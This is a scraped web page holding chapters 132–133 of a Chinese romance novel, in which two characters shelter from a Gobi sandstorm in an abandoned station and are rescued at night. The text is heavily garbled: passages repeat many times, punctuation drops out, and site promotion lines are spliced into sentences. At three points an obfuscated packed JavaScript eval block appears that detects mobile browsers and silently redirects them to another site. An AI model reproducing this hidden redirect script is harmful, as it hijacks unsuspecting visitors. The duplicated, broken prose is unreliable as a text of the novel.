门合拢的瞬间不再有劈头盖脸的沙石袭击不再有令人窒息的狂风灌入。 他们暂时安全了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 帽子。 风沙弥漫,视线模糊,但那个轮廓,那挺拔的身姿,即使蒙着一层沙尘,她也绝对不会认错。 是贺淮钦。 “你怎么在这里?”她脱口而出,声音因为灌了沙子变了调。 贺淮钦没有回答,他迈开大步,顶着狂风,迅速走到了她的面前,然后,他抬起手,在温昭宁反应过来之前,毫不犹豫地摘下了架在他鼻梁上的那副墨镜,稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒,视野虽然依旧昏黄,但温昭宁至少能睁开眼睛了。 紧接着,贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕,他将手帕塞进了温昭宁的手里,大声地说:“捂住口鼻,跟着我。” 他说完,顺势牵住了温昭宁的手,往前走去。 温昭宁早已失去了方向感,只能任由他牵着,亦步亦趋地跟着他。 在她不太明朗的视线里,是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 说的域名caixs?(请来才小 说 看最新章节 完整章节) 风声、沙暴的咆哮声,心脏的狂跳声,混杂在一起。 贺淮钦的判断是正确的,他没有跟着大部队往前逃,而是拽着温昭宁,逆着风沙,斜着冲向戈壁深处一处不起眼的土黄色建筑。 那是一个早已废弃的地质监测站,低矮的水泥平房,窗户都用木板封**,门是厚重的铁皮,已经锈迹斑斑。 贺淮钦带着温昭宁,径直冲到那扇铁门前,打开了插销,将她往里一推,自己也快速跟进来,用身体堵住了门。 “咣当”一声闷响。 门合拢的瞬间,不再有劈头盖脸的沙石袭击,不再有令人窒息的狂风灌入。 他们,暂时安全了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 帽子。 风沙弥漫,视线模糊,但那个轮廓,那挺拔的身姿,即使蒙着一层沙尘,她也绝对不会认错。 是贺淮钦。 “你怎么在这里?”她脱口而出,声音因为灌了沙子变了调。 贺淮钦没有回答,他迈开大步,顶着狂风,迅速走到了她的面前,然后,他抬起手,在温昭宁反应过来之前,毫不犹豫地摘下了架在他鼻梁上的那副墨镜,稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒,视野虽然依旧昏黄,但温昭宁至少能睁开眼睛了。 紧接着,贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕,他将手帕塞进了温昭宁的手里,大声地说:“捂住口鼻,跟着我。” 小说更新,记住域名caixs⒃(请来才 小说 看最新章节 完整章节) 他说完,顺势牵住了温昭宁的手,往前走去。 温昭宁早已失去了方向感,只能任由他牵着,亦步亦趋地跟着他。 在她不太明朗的视线里,是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 风声、沙暴的咆哮声,心脏的狂跳声,混杂在一起。 贺淮钦的判断是正确的,他没有跟着大部队往前逃,而是拽着温昭宁,逆着风沙,斜着冲向戈壁深处一处不起眼的土黄色建筑。 那是一个早已废弃的地质监测站,低矮的水泥平房,窗户都用木板封**,门是厚重的铁皮,已经锈迹斑斑。 贺淮钦带着温昭宁,径直冲到那扇铁门前,打开了插销,将她往里一推,自己也快速跟进来,用身体堵住了门。 “咣当”一声闷响。 门合拢的瞬间,不再有劈头盖脸的沙石袭击,不再有令人窒息的狂风灌入。 他们,暂时安全了。 你的朋友正在书荒,快去帮帮他吧 帽子。 风沙弥漫,视线模糊,但那个轮廓,那挺拔的身姿,即使蒙着一层沙尘,她也绝对不会认错。 是贺淮钦。 “你怎么在这里?”她脱口而出,声音因为灌了沙子变了调。 贺淮钦没有回答,他迈开大步,顶着狂风,迅速走到了她的面前,然后,他抬起手,在温昭宁反应过来之前,毫不犹豫地摘下了架在他鼻梁上的那副墨镜,稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒,视野虽然依旧昏黄,但温昭宁至少能睁开眼睛了。 紧接着,贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕,他将手帕塞进了温昭宁的手里,大声地说:“捂住口鼻,跟着我。” 他说完,顺势牵住了温昭宁的手,往前走去。 温昭宁早已失去了方向感,只能任由他牵着,亦步亦趋地跟着他。 在她不太明朗的视线里,是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 风声、沙暴的咆哮声,心脏的狂跳声,混杂在一起。 贺淮钦的判断是正确的,他没有跟着大部队往前逃,而是拽着温昭宁,逆着风沙,斜着冲向戈壁深处一处不起眼的土黄色建筑。 那是一个早已废弃的地质监测站,低矮的水泥平房,窗户都用木板封**,门是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184225|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚重的铁皮,已经锈迹斑斑。 贺淮钦带着温昭宁,径直冲到那扇铁门前,打开了插销,将她往里一推,自己也快速跟进来,用身体堵住了门。 “咣当”一声闷响。 门合拢的瞬间,不再有劈头盖脸的沙石袭击,不再有令人窒息的狂风灌入。 他们,暂时安全了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 帽子。 风沙弥漫,视线模糊,但那个轮廓,那挺拔的身姿,即使蒙着一层沙尘,她也绝对不会认错。 是贺淮钦。 “你怎么在这里?她脱口而出,声音因为灌了沙子变了调。 贺淮钦没有回答,他迈开大步,顶着狂风,迅速走到了她的面前,然后,他抬起手,在温昭宁反应过来之前,毫不犹豫地摘下了架在他鼻梁上的那副墨镜,稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒,视野虽然依旧昏黄,但温昭宁至少能睁开眼睛了。 紧接着,贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕,他将手帕塞进了温昭宁的手里,大声地说:“捂住口鼻,跟着我。 他说完,顺势牵住了温昭宁的手,往前走去。 温昭宁早已失去了方向感,只能任由他牵着,亦步亦趋地跟着他。 在她不太明朗的视线里,是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 风声、沙暴的咆哮声,心脏的狂跳声,混杂在一起。 贺淮钦的判断是正确的,他没有跟着大部队往前逃,而是拽着温昭宁,逆着风沙,斜着冲向戈壁深处一处不起眼的土黄色建筑。 那是一个早已废弃的地质监测站,低矮的水泥平房,窗户都用木板封**,门是厚重的铁皮,已经锈迹斑斑。 贺淮钦带着温昭宁,径直冲到那扇铁门前,打开了插销,将她往里一推,自己也快速跟进来,用身体堵住了门。 “咣当一声闷响。 门合拢的瞬间,不再有劈头盖脸的沙石袭击,不再有令人窒息的狂风灌入。 他们,暂时安全了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 帽子。 风沙弥漫视线模糊但那个轮廓那挺拔的身姿即使蒙着一层沙尘她也绝对不会认错。 是贺淮钦。 “你怎么在这里?”她脱口而出声音因为灌了沙子变了调。 贺淮钦没有回答他迈开大步顶着狂风迅速走到了她的面前然后他抬起手在温昭宁反应过来之前毫不犹豫地摘下了架在他鼻梁上的那副墨镜稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒 紧接着贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕他将手帕塞进了温昭宁的手里大声地说:“捂住口鼻跟着我。” 他说完顺势牵住了温昭宁的手往前走去。 温昭宁早已失去了方向感只能任由他牵着亦步亦趋地跟着他。 在她不太明朗的视线里是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 风声、沙暴的咆哮声心脏的狂跳声混杂在一起。 贺淮钦的判断是正确的他没有跟着大部队往前逃而是拽着温昭宁逆着风沙斜着冲向戈壁深处一处不起眼的土黄色建筑。 那是一个早已废弃的地质监测站低矮的水泥平房窗户都用木板封**门是厚重的铁皮已经锈迹斑斑。 贺淮钦带着温昭宁径直冲到那扇铁门前打开了插销将她往里一推自己也快速跟进来用身体堵住了门。 “咣当”一声闷响。 门合拢的瞬间不再有劈头盖脸的沙石袭击不再有令人窒息的狂风灌入。 他们暂时安全了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 帽子。 风沙弥漫,视线模糊,但那个轮廓,那挺拔的身姿,即使蒙着一层沙尘,她也绝对不会认错。 是贺淮钦。 “你怎么在这里? 贺淮钦没有回答,他迈开大步,顶着狂风,迅速走到了她的面前,然后,他抬起手,在温昭宁反应过来之前,毫不犹豫地摘下了架在他鼻梁上的那副墨镜,稳稳地戴到了温昭宁的脸上。 镜片瞬间隔绝了大部分狂暴袭来的沙粒,视野虽然依旧昏黄,但温昭宁至少能睁开眼睛了。 紧接着,贺淮钦又从外套的内侧口袋里掏出了一方折叠整齐的灰色手帕,他将手帕塞进了温昭宁的手里,大声地说:“捂住口鼻,跟着我。 他说完,顺势牵住了温昭宁的手,往前走去。 温昭宁早已失去了方向感,只能任由他牵着,亦步亦趋地跟着他。 在她不太明朗的视线里,是贺淮钦宽阔而坚定的背影和那只紧紧抓着她的干燥而有力的大手。 风声、沙暴的咆哮声,心脏的狂跳声,混杂在一起。 贺淮钦的判断是正确的,他没有跟着大部队往前逃,而是拽着温昭宁,逆着风沙,斜着冲向戈壁深处一处不起眼的土黄色建筑。 那是一个早已废弃的地质监测站,低矮的水泥平房,窗户都用木板封**,门是厚重的铁皮,已经锈迹斑斑。 贺淮钦带着温昭宁,径直冲到那扇铁门前,打开了插销,将她往里一推,自己也快速跟进来,用身体堵住了门。 “咣当一声闷响。 门合拢的瞬间,不再有劈头盖脸的沙石袭击,不再有令人窒息的狂风灌入。 他们,暂时安全了。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 第132章 接吻的次数数不胜数 世界骤然从一片狂暴混沌的土黄,切换到了另一个截然不同空间。 这个废旧的检测站内部比外面看起来更加狭小、破败,空气里弥漫着一股铁锈味和陈旧机油的特殊气味,并不好闻,而且,里面的光线极其微弱。 贺淮钦松开了温昭宁的手腕,他的呼吸有些急促,显然刚才顶着风沙冲刺也耗费了不少力气。 他抬手,胡乱抹了一把脸上和头发上的沙尘后,看向温昭宁。 “没事吧?” “我没事,你呢?” “我也没事。” 贺淮钦说着,迅速地扫视了一下这个临时避难所,目光锐利而警惕。 借着微弱的光线,可以看见检测站里堆放着一些早已锈蚀报废的仪器铁架、散落的木箱,还有一些看不清是什么的杂物,上面都覆盖着厚厚的尘土。 空间逼仄,但足以容身。 “先坐一下吧。”贺淮钦脱下外套,平铺在木箱上,示意她坐。 这沉默的周到,让温昭宁的心动了一下,但是,他的衣服肯定很贵。 “不用垫了,反正我的身上都是沙子了。”温昭宁说。 “没关系,你坐。” 贺淮钦现在的注意力全都在外面的沙尘暴上,他并不在意他的衣服。 情况恶劣,温昭宁也没有再扭捏。 “谢谢。” 她摘下了贺淮钦的墨镜,甩了甩镜片上的细沙,他给她的那块手帕,也已经满是沙土了。 外面的风沙依旧狂暴,如同千万头野兽在同时咆哮,冲撞,铁门和墙壁时不时传来沉闷的震动。 温昭宁简直不敢想象,如果今天贺淮钦没有出现,她该怎么办。 “你怎么会在这里?”她又问了一遍。 “我雇了个当地的牧民当导游,他带我来的。”昏暗中,贺淮钦眼神闪烁,“可能,来这里旅游,都是骑骆驼那一套吧。” 他这理由编得挺像那么一回事儿的,现在出去旅游,游客玩的看的内容都大差不差。 温昭宁没有怀疑,毕竟,她总不能自作多情是他跟着她吧。 “这个沙尘暴,也不知道什么时候能停?” “不确定,戈壁的沙尘暴,来得快,去却不一定快,短则一两个小 时,长则可能要到后半夜,甚至明天。贺淮钦走到那扇紧闭的铁门旁,贴耳听了听,仿佛能透过厚重的金属“听到外面风沙的强度,“现在沙尘浓度还在高峰,等光线变亮变稳定,风声减弱,就差不多了。 “嗯。温昭宁往边上挪了挪,拍了拍她旁边的位置说,“既然一时半会儿走不了,那你也坐。 贺淮钦顿了两秒,走到她的身边,挨着她坐下。 因为外套大小有限,两人几乎胳膊贴着胳膊。 温昭宁感觉到他手臂的温度,身体不自觉地僵了一下,下意识就往边上挪了挪,拉开距离。 可她刚拉开距离,下一秒,贺淮钦伸手一揽,揽住了她的腰,重新将她拉回了他的身边。 “你……温昭宁望着他。 “那边有铁钉。贺淮钦说。 温昭宁低头一看,果然,她刚才差点碰到铁钉了。 她不敢再动。 两人就这样,在昏暗中并肩坐着,外面的风沙声,如同背景音,一遍一遍冲刷着这个与世隔绝的方寸之地,也冲刷着时间。 等待,是此刻他们唯一能做的事情。—— 在风沙的怒吼和凝滞的昏暗中,时间仿佛失去了刻度,每一秒都变得无比漫长。 手机没有信号,两人什么都做不了。 几个小时后,他们都饿了。 “咕噜……咕噜…… 温昭宁的肚子响起清晰的“咕噜声。 贺淮钦听到了,转头看向她:“饿了吗? “嗯,你呢,饿吗? “有点。 温昭宁忽然想到,早上出发前,她在旅店的小卖部里买水时,还顺手拿了几个独立包装的小面包和巧克力棒,塞进了她随身带着的那个斜挎包里。 这个包,刚才慌乱中她也一直紧紧抓着。 “我有吃的。温昭宁点亮手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188623|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手电筒,将那个沾满了沙尘的包从身侧拽到面前,拉开拉链,手指伸进去摸索。 很快,她掏出了三个压得变形的小面包和两条巧克力棒递给贺淮钦。 “给你,你吃吧。 “你呢? “我还有。 温昭宁又从包里掏出了一个小面包。 贺 淮钦等她再掏点什么出来但没有了。 是的好消息有食物坏消息食物不多。 贺淮钦见状从她手里抽走了一根巧克力棒把另外的三个小面包和一根巧克力棒推回给她。 “你吃吧我其实不是很饿。” 怎么可能不饿呢他一个大男人早餐就吃了一碗面那碗面比她的馕饼还不顶饱。 他应该是想把更多的食物留给她而已。 温昭宁又往他手里塞了两个小面包:“那就平分吧。” 她说完不顾贺淮钦撕开了小面包的包装袋吃起来甜腻的工业化面包香味在此刻却显得无比诱人她小口小口地吃着 贺淮钦也吃得很慢主要是有点噎面包太干了。 温昭宁看出他觉得噎手指摸到包里的那瓶矿泉水犹豫着要不要拿出来给他。 当然不是她小气不想分享主要是那瓶水她喝过她不知道贺淮钦是否会介意。 她正犹豫贺淮钦被那面包噎地咳了几声。 “咳咳咳……” 温昭宁赶紧从包里将那瓶矿泉水拿出来朝贺淮钦的方向递了递。 “那个……水还有一点但我喝过了如果你不介意……” 她话还没说完贺淮钦已经伸出手直接从她手中接过了那瓶水拧开瓶盖就这她喝过的瓶口毫不犹豫地喝了起来。 他们两个人接吻的次数数不胜数。 可此刻温昭宁看着他喉头滚动仰头喝水的画面脸开始不受控地发烫。 贺淮钦应该是想节约可食用的水他没喝几口就重新拧紧了瓶盖将水瓶递还给温昭宁。 “谢谢。” 温昭宁接回水瓶水瓶上还残留着他掌心的温度:“不客气。” 第133章 得救 两人的饥饿被那点可怜的食物勉强压制了下去。 随之而来的,是更漫长的等待。 正如贺淮钦所说,已经入夜,沙尘暴竟然还在继续,丝毫没有减弱的趋势。 戈壁的夜间气温急降,废弃的检测站里没有一丝暖意,粗糙的水泥墙壁和地面仿佛在源源不断地汲取这人体本就所剩无几的热量。 温昭宁瑟缩着,裹紧了身上单薄的外套,可依旧抵挡不住那股从骨头缝里渗出来的冷意。 她试图活动手脚,摩擦生热,可疲惫和寒意让她的动作僵硬迟缓,收效甚微。 时间仿佛在寒冷中被冻住了,每一秒都漫长无比。 温昭宁颤抖得越来越厉害,就在她冻得快要失去思考能力时,身旁的贺淮钦忽然伸手,将她扯进他的怀抱。 “你干嘛?”温昭宁的大脑在短暂的空白后,开始本能的挣扎,她用冻得几乎不听使唤的手去推拒他的胸膛,声音因为寒冷而发抖。 贺淮钦的手臂收得更紧,铁箍一般将她搂得严严实实的,他的下巴抵在她的发顶,声音从上方传来,低沉、沙哑,带着一丝因体温流失而产生的微颤。 “别动。”他顿了顿,感觉到她还在徒劳地扭动,他的语气陡然加重,“你想冻死在这里吗?” 冻死在这里。 这几个字像是冰锥一样刺进温昭宁混乱的意识。 女儿的脸,母亲的脸,迅速地在她的脑海里闪过,她们都还在等她回去。 她答应过青柠,要好好陪她长大的。 不! 她可不能冻死在这里!绝对不能! 求生的本能和对女儿强烈的牵挂,让她停下了挣扎,甚至,她还主动往贺淮钦怀里凑了凑。 温昭宁告诉自己,她做这一切,仅仅只是为了活下去。 为了活下去而已。 贺淮钦感觉到她的身体主动贴近,手臂将她包裹得更严密了一些。 温昭宁能感觉到,贺淮钦的心跳得很快,当然,她的心也早已跳乱了节奏。 周遭的寒意依旧刺骨,但他们的身体却开始慢慢发热,那一点微弱的热量交换,延迟了体温流失的速度。 两人就这样,在寒冷和昏暗中,以一种极其别扭却亲密的姿势,紧紧相 拥着。 起初,温昭宁连呼吸都放得很轻缓,生怕泄露出一丝一毫被误解的意味,但渐渐地,她开始发困。 前一晚在旅店失眠,白天又经历了骑骆驼的兴奋、沙尘暴的惊魂,以及顶着风沙逃命的巨大损耗……温昭宁的精神和体力早已透支到了极限,此刻,虽然环境恶劣,但她的身体被一个相对温暖的源头包裹着,那紧绷的神经,开始不受控地松弛下来。 眼皮越来越重。 温昭宁试图抵抗,告诫自己不能睡,要保持清醒,可意识还是一点点滑向了黑暗温度的深渊,起初只是打个盹,头无意识地在他肩窝处点了一下,随后,便彻底沉溺了进去。 这一次的睡眠,是温昭宁许久没有过的深睡。 她自己都不知道自己睡了多久,但她知道这一觉睡得很踏实,无惊无梦。 睡着的感觉,真好。—— 温昭宁睡得昏天暗地。 直到,某种温暖而干燥的触感轻轻拂过她的脸颊,那触感带着薄茧,有些粗粝,动作却很温柔。 温昭宁眼睫毛颤动一下,慢慢睁开了眼睛。 视线先是模糊一片,随后逐渐聚焦。 她首先看到的是贺淮钦的衣服,然后是他线条分明的锁骨和微微滚动的喉结。 大脑停顿了几秒,很快,她清醒过来。 她竟然在这样恶劣的环境中,靠在贺淮钦的怀里睡得这么香! “不好意思,我刚才有点困……” 贺淮钦轻笑了声:“睡眠质量这么好,看来失眠应该是治好了。” “你怎么知道我失眠?” “这是什么**吗?” “青柠告诉你的?” “她的确和我提过,说你晚上睡不好。” 温昭宁还想说什么,张了张嘴,又顿住了,外面的世界,一片寂静,连风声都消失了,这是不是意味着沙尘暴已经停了? “外面的沙尘暴停了?” “嗯。” “太好了!”温昭宁有种劫后余生的兴奋,“终于停了!现在几点?” “凌晨一点。” “沙尘暴是刚停吗?” “是的。” “我第一次遇到沙尘暴,竟然持续了这么长的时间,真 是吓人,不过好在,我们现在安全了!”巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她,温昭宁迫不及待地想要站起来,冲出这个憋闷冰冷的牢笼。 然而,因为睡太久,她的腿麻了。 温昭宁刚用力站起,一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊!” 她痛呼一声,身体因为发力不均和突如其来的酸麻猛地一歪,重心瞬间失控,整个人不受控地朝旁边歪倒去。 贺淮钦像是早有预判,一伸手,迅疾有力地揽过来,揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上,她的鼻尖充斥着贺淮钦身上那股熟悉的味道,脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱,是冰冷的,目的明确,甚至带着一丝相互对抗的紧绷,而现在这个拥抱,虽然同样突然,同样有力,却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦,解释说:“我的脚麻了。” 贺淮钦没说什么,而是转手牵住了她的手。 “走吧,先出去再说。” 温昭宁心想,出去就出去,他牵她的手干什么? 贺淮钦像是看穿了她的想法,解释说:“这里乱七八糟的东西太多,你跟着我走,小心踩到铁钉。” 如果踩到铁钉,还要去打破伤风针,的确麻烦得很。 温昭宁没和他犟,乖乖任由他牵着手,跟着他的脚步走到铁门口。 铁门打开的刹那,浩瀚星空出现在眼前。 一切都结束了,他们终于得救了。 温昭宁开心地笑起来,一转头,发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你,谢谢你。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 是吓人,不过好在,我们现在安全了!”巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她,温昭宁迫不及待地想要站起来,冲出这个憋闷冰冷的牢笼。 然而,因为睡太久,她的腿麻了。 温昭宁刚用力站起,一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊!” 她痛呼一声,身体因为发力不均和突如其来的酸麻猛地一歪,重心瞬间失控,整个人不受控地朝旁边歪倒去。 贺淮钦像是早有预判,一伸手,迅疾有力地揽过来,揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上,她的鼻尖充斥着贺淮钦身上那股熟悉的味道,脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱,是冰冷的,目的明确,甚至带着一丝相互对抗的紧绷,而现在这个拥抱,虽然同样突然,同样有力,却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦,解释说:“我的脚麻了。” 贺淮钦没说什么,而是转手牵住了她的手。 “走吧,先出去再说。” 温昭宁心想,出去就出去,他牵她的手干什么? 贺淮钦像是看穿了她的想法,解释说:“这里乱七八糟的东西太多,你跟着我走,小心踩到铁钉。” 如果踩到铁钉,还要去打破伤风针,的确麻烦得很。 温昭宁没和他犟,乖乖任由他牵着手,跟着他的脚步走到铁门口。 铁门打开的刹那,浩瀚星空出现在眼前。 一切都结束了,他们终于得救了。 温昭宁开心地笑起来,一转头,发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你,谢谢你。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 是吓人不过好在我们现在安全了!”巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她温昭宁迫不及待地想要站起来冲出这个憋闷冰冷的牢笼。 然而因为睡太久她的腿麻了。 温昭宁刚用力站起一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊!” 她痛呼一声 贺淮钦像是早有预判一伸手迅疾有力地揽过来揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上她的鼻尖充斥着贺淮钦身上那股熟悉的味道脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱是冰冷的目的明确甚至带着一丝相互对抗的紧绷而现在这个拥抱虽然同样突然同样有力却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦解释说:“我的脚麻了。” 贺淮钦没说什么而是转手牵住了她的手。 “走吧先出去再说。” 温昭宁心想出去就出去他牵她的手干什么? 贺淮钦像是看穿了她的想法解释说:“这里乱七八糟的东西太多你跟着我走小心踩到铁钉。” 如果踩到铁钉还要去打破伤风针的确麻烦得很。 温昭宁没和他犟乖乖任由他牵着手跟着他的脚步走到铁门口。 铁门打开的刹那浩瀚星空出现在眼前。 一切都结束了他们终于得救了。 温昭宁开心地笑起来一转头发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你谢谢你。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 是吓人,不过好在,我们现在安全了!巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她,温昭宁迫不及待地想要站起来,冲出这个憋闷冰冷的牢笼。 然而,因为睡太久,她的腿麻了。 温昭宁刚用力站起,一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊! 她痛呼一声,身体因为发力不均和突如其来的酸麻猛地一歪,重心瞬间失控,整个人不受控地朝旁边歪倒去。 贺淮钦像是早有预判,一伸手,迅疾有力地揽过来,揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上,她的鼻尖充斥着贺淮钦身上那股熟悉的味道,脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱,是冰冷的,目的明确,甚至带着一丝相互对抗的紧绷,而现在这个拥抱,虽然同样突然,同样有力,却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦,解释说:“我的脚麻了。 贺淮钦没说什么,而是转手牵住了她的手。 “走吧,先出去再说。 温昭宁心想,出去就出去,他牵她的手干什么? 贺淮钦像是看穿了她的想法,解释说:“这里乱七八糟的东西太多,你跟着我走,小心踩到铁钉。 如果踩到铁钉,还要去打破伤风针,的确麻烦得很。 温昭宁没和他犟,乖乖任由他牵着手,跟着他的脚步走到铁门口。 铁门打开的刹那,浩瀚星空出现在眼前。 一切都结束了,他们终于得救了。 温昭宁开心地笑起来,一转头,发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你,谢谢你。 听说看这本书的人都是很幸运的,分享后你的运气会更棒35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188624|196250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是吓人,不过好在,我们现在安全了!”巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她,温昭宁迫不及待地想要站起来,冲出这个憋闷冰冷的牢笼。 然而,因为睡太久,她的腿麻了。 温昭宁刚用力站起,一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊!” 她痛呼一声,身体因为发力不均和突如其来的酸麻猛地一歪,重心瞬间失控,整个人不受控地朝旁边歪倒去。 贺淮钦像是早有预判,一伸手,迅疾有力地揽过来,揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上,她的鼻尖充斥着贺淮钦身上那股熟悉的味道,脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱,是冰冷的,目的明确,甚至带着一丝相互对抗的紧绷,而现在这个拥抱,虽然同样突然,同样有力,却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦,解释说:“我的脚麻了。” 贺淮钦没说什么,而是转手牵住了她的手。 “走吧,先出去再说。” 温昭宁心想,出去就出去,他牵她的手干什么? 贺淮钦像是看穿了她的想法,解释说:“这里乱七八糟的东西太多,你跟着我走,小心踩到铁钉。” 如果踩到铁钉,还要去打破伤风针,的确麻烦得很。 温昭宁没和他犟,乖乖任由他牵着手,跟着他的脚步走到铁门口。 铁门打开的刹那,浩瀚星空出现在眼前。 一切都结束了,他们终于得救了。 温昭宁开心地笑起来,一转头,发现贺淮钦正目光灼灼地望着她。 她赶紧挣开他的手说:“今天多亏了有你,谢谢你。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 是吓人不过好在我们现在安全了!”巨大的喜悦和逃脱绝境的轻松感瞬间淹没了她温昭宁迫不及待地想要站起来冲出这个憋闷冰冷的牢笼。 然而因为睡太久她的腿麻了。 温昭宁刚用力站起一股如同被千万根细针同时刺到一样强烈的酸麻感席卷了她的下半身。 “啊!” 她痛呼一声身体因为发力不均和突如其来的酸麻猛地一歪重心瞬间失控整个人不受控地朝旁边歪倒去。 贺淮钦像是早有预判一伸手迅疾有力地揽过来揽住了她因为失衡而软倒的腰身。 她再一次被他牢牢地、稳稳地抱进了怀里。 温昭宁的上半身几乎完全贴到了他的胸膛上她的鼻尖充斥着贺淮钦身上那股熟悉的味道脸颊甚至能感觉到他T恤下起伏的胸肌轮廓。 这个拥抱和刚才求生的拥抱截然不同。 刚才的拥抱是冰冷的目的明确甚至带着一丝相互对抗的紧绷而现在这个拥抱虽然同样突然同样有力 小说更新,记住域名caixs⑿(请来才 小说 看最新章节 完整章节)却清晰地多了一丝情欲的感觉。 温昭宁的心跳在胸腔里失序地狂跳起来。 她赶紧伸手推开了贺淮钦解释说:“我的脚麻了。” 